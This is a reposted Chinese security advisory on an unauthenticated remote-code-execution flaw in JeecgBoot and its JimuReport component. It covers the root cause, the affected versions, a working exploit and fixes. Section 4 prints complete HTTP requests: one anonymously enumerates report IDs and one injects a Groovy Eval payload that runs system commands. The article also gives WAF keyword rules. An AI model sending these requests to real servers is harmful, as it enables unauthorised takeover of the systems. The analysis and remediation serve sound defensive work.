【2026hvv】JeecgBoot【0day】,文档细琐~【附验证exp】,速修~!

admin 2026-09-02 05:06:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: JeecgBoot及其积木报表组件存在高危未授权RCE漏洞,影响JimuReport≤2.5.0及JeecgBoot≤3.9.3。攻击者可通过/jmreport/auto/export接口结合Aviator表达式注入与Groovy脚本执行任意命令。建议立即升级JimuReport至2.5.1,并临时收敛匿名访问、配置WAF拦截规则。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应用安全,安全工具


【2026hvv】JeecgBoot 【0day】,文档细琐~【附验证exp】,速修~!

FL_Clover FL_Clover

网络安全007

2026年9月1日 17:45 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

hvv已经去了三轮了,预计今天结束了,不过即将开始第四轮,兄弟们的零食炫的如何了?今年的【0day】漏洞普遍减少,流出的越来越少了……

一、漏洞概述

    该漏洞是一个高危的远程代码执行(RCE)漏洞,影响 JeecgBoot 低代码开发平台及其集成的积木报表(JimuReport)组件。攻击者无需任何身份认证,即可通过构造恶意请求,在目标服务器上执行任意命令,从而完全控制服务器。

    漏洞的核心在于积木报表的 /jmreport/auto/export 导出接口。该接口存在双重安全问题:

  • 未授权访问:由于 JeecgBoot 的 Shiro 安全框架配置不当,将 /jmreport/** 路径设置为匿名可访问,导致攻击者无需登录即可调用此接口。
  • 代码注入:接口在处理报表导出参数时,对以 = 开头的参数值未进行有效过滤。攻击者可利用此特性,通过底层的 Groovy 脚本引擎执行恶意代码。

二、漏洞影响范围

| 部署方式 | 受影响版本 | 说明 | | — | — | — | | 独立部署积木报表(JimuReport) | ≤ 2.5.0 | 组件自身存在缺陷,直接受影响 | | 集成于 JeecgBoot 平台 | JeecgBoot ≤ 3.9.3 | 平台内置 JimuReport ≤ 2.5.0,随平台受影响 |

注意,特别说明一下:

  • JeecgBoot 最新 Release v3.9.3(2026年8月20日发布)默认捆绑的仍为 JimuReport 2.5.0,不会自动获得修复。
  • 修复版本为 JimuReport v2.5.1(2026年8月25日发布),需手动升级依赖。

三、漏洞技术分析

3.1 攻击入口:未授权访问链

该漏洞的利用前提是接口完全无需认证,这由两层配置共同导致:

  1. 接口级注解放行: /jmreport/auto/export 接口标注了 @JimuNoLoginRequired 注解,使得积木报表内部的 JimuReportTokenInterceptor 拦截器直接跳过身份校验。
  2. 框架级匿名配置: JeecgBoot 的 Shiro 安全配置(ShiroConfig)将整个 /jmreport/** 路径配置为 anon(匿名放行),从框架层面彻底取消了鉴权要求。

两层放行叠加,使得任何外部请求均可直接触达导出逻辑。

3.2 漏洞根因:表达式注入导致代码执行

漏洞的核心触发链路如下:

用户输入参数 → getBaseSql() → queryJson.putAll(paramJson) → ExpressUtil.a() → Aviator引擎编译执行 → Groovy脚本调用 → 系统命令执行

详细分析:

  • 当导出类型为 PDF 时,请求体中的 reportParams[].params 字段会被传入 getBaseSql 方法。
  • 该方法通过 queryJson.putAll(paramJson) 将所有用户参数合并,随后对每个参数值调用 ExpressUtil.a 进行处理。
  • ExpressUtil.a 的逻辑是:当参数值以等号 = 开头时,会移除所有等号前缀,然后将剩余内容交给 Aviator 表达式引擎进行编译和执行。
  • Aviator 引擎虽然通过 disableFeature(NewInstance) 禁用了实例化操作,但 use 语句和静态方法调用并未被禁用。
  • JeecgBoot 运行时的 classpath 中包含 Groovy 库,攻击者可利用 use groovy.util.Eval 引入 Groovy 的 Eval.me() 方法,该方法支持执行任意 Groovy 代码,包括调用 Runtime.exec() 或 Groovy 的 String.execute() 方法来执行操作系统命令。

3.3 与已知漏洞的区别

| 编号 | 接口 | 差异点 | | — | — | — | | CVE-2026-58375 | 同一接口 | 仅涉及未授权导出报表数据,不涉及代码执行 | | CVE-2026-36418 | /jmreport/executeSelectApi | 该接口无匿名注解放行,需要有效Token | | 本漏洞(QVD-2026-56805) | /jmreport/auto/export | 匿名入口 + Aviator表达式注入 + Groovy命令执行 |

四、漏洞利用【验证EXP】

4.1 前置步骤:枚举报表ID

由于利用需要指定一个有效的报表 id,攻击者可先通过以下接口匿名枚举:

GET&nbsp;/jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10&nbsp;HTTP/1.1Host: <目标地址>Accept: application/json

该接口同样无需认证,返回结果中包含可用报表的 id 字段。

4.2 命令执行利用

获取有效报表 id 后,向导出接口发送以下请求:

POST&nbsp;/jeecg-boot/jmreport/auto/export&nbsp;HTTP/1.1Host:&nbsp;<目标地址>Content-Type: application/jsonAccept: application/json{&nbsp;&nbsp;"reportParams": [&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp;&nbsp;"id":&nbsp;"<枚举到的报表ID>",&nbsp; &nbsp; &nbsp;&nbsp;"params": {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"x":&nbsp;"=use groovy.util.Eval; Eval.me('[\"/bin/bash\",\"-c\",\"id\"].execute()')"&nbsp; &nbsp; &nbsp; },&nbsp; &nbsp; &nbsp;&nbsp;"exportType":&nbsp;"pdf"&nbsp; &nbsp; }&nbsp; ]}

利用原理说明:

  • 参数值以 = 开头触发 Aviator 表达式解析路径;
  • use groovy.util.Eval 将 Groovy 的 Eval 类引入当前作用域;
  • Eval.me(…) 执行传入的 Groovy 代码;
  • [\”/bin/bash\”,\”-c\”,\”id\”].execute() 是 Groovy 语法,等价于调用 Runtime.exec(),实现系统命令执行。

五、修复建议

5.1 根本修复(强烈推荐)

  • 升级积木报表组件至 v2.5.1 或更高版本。
  • 独立部署场景:直接替换 JimuReport 依赖包至 2.5.1+
  • JeecgBoot 集成场景:手动修改 pom.xml 中 JimuReport 依赖版本

Maven 依赖配置示例:

<!-- Spring Boot 3.x 项目 --><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.jeecgframework.jimureport</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jimureport-spring-boot3-starter</artifactId>&nbsp; &nbsp;&nbsp;<version>2.5.1</version></dependency><!-- Spring Boot 4.x 项目 --><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.jeecgframework.jimureport</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jimureport-spring-boot4-starter</artifactId>&nbsp; &nbsp;&nbsp;<version>2.5.1</version></dependency>

⚠️ 注意: JeecgBoot v3.9.3 默认捆绑的仍是 JimuReport 2.5.0,必须手动升级,不能仅依赖平台版本更新。

5.2 临时缓解措施

在无法立即升级的情况下,可采取以下临时防护措施:

| 措施 | 具体操作 | | — | — | | 收敛匿名访问 | 修改 Shiro 配置,移除 /jmreport/ 的 anon 规则,为导出接口强制添加认证校验;同时移除接口上的 @JimuNoLoginRequired 注解 | | WAF/IPS 拦截 | 在 Web 应用防火墙添加规则,针对 /jmreport/auto/export 接口,拦截参数值以 = 开头且包含 groovy.util.Eval.execute().class.forName 等关键字的请求 | | 网络层收敛 | 限制 /jmreport/ 路径的外部访问,仅允许可信内网或管理网段访问 | | 禁用表达式解析 | 临时关闭导出接口的表达式引擎处理逻辑(可能影响正常报表功能,需评估业务影响) |

5.3 安全加固建议

  • 对积木报表所有对外接口进行全面的认证鉴权审计,排查是否存在其他未授权访问点;
  • 建立依赖组件的版本跟踪机制,及时关注安全公告;
  • 在代码审计中重点关注表达式引擎(Aviator、SpEL、OGNL等)对用户输入的解析行为;
  • 生产环境遵循最小权限原则,限制应用进程的系统命令执行权限。

参考链接:

https://github.com/jeecgboot/JeecgBoot/issues/9837https://github.com/jeecgboot/jimureport/commit/414017dbe00764f908066b4eb9745f4c6ea99e7f

免责声明:

 本文章仅做网络安全技术研究使用!另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失,均由使用者自身承担负责,与网络安全007公众号无任何关系,也不为其负任何责任,请各位自重!公众号发表的一切文章如有侵权烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!让我们一起为中国网络安全事业尽一份自己的绵薄之力!

—推荐阅读—

攻防演习系列

渗透技术文章系列

未授权漏洞系列

HW专项系列

应急响应系列

工具推荐系列

写作不易,分享快乐

期待你的 分享点赞●在看●关注●收藏****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全007 FLClover FLClover《【2026hvv】JeecgBoot 【0day】,文档细琐~【附验证exp】,速修~!》

    评论:0   参与:  0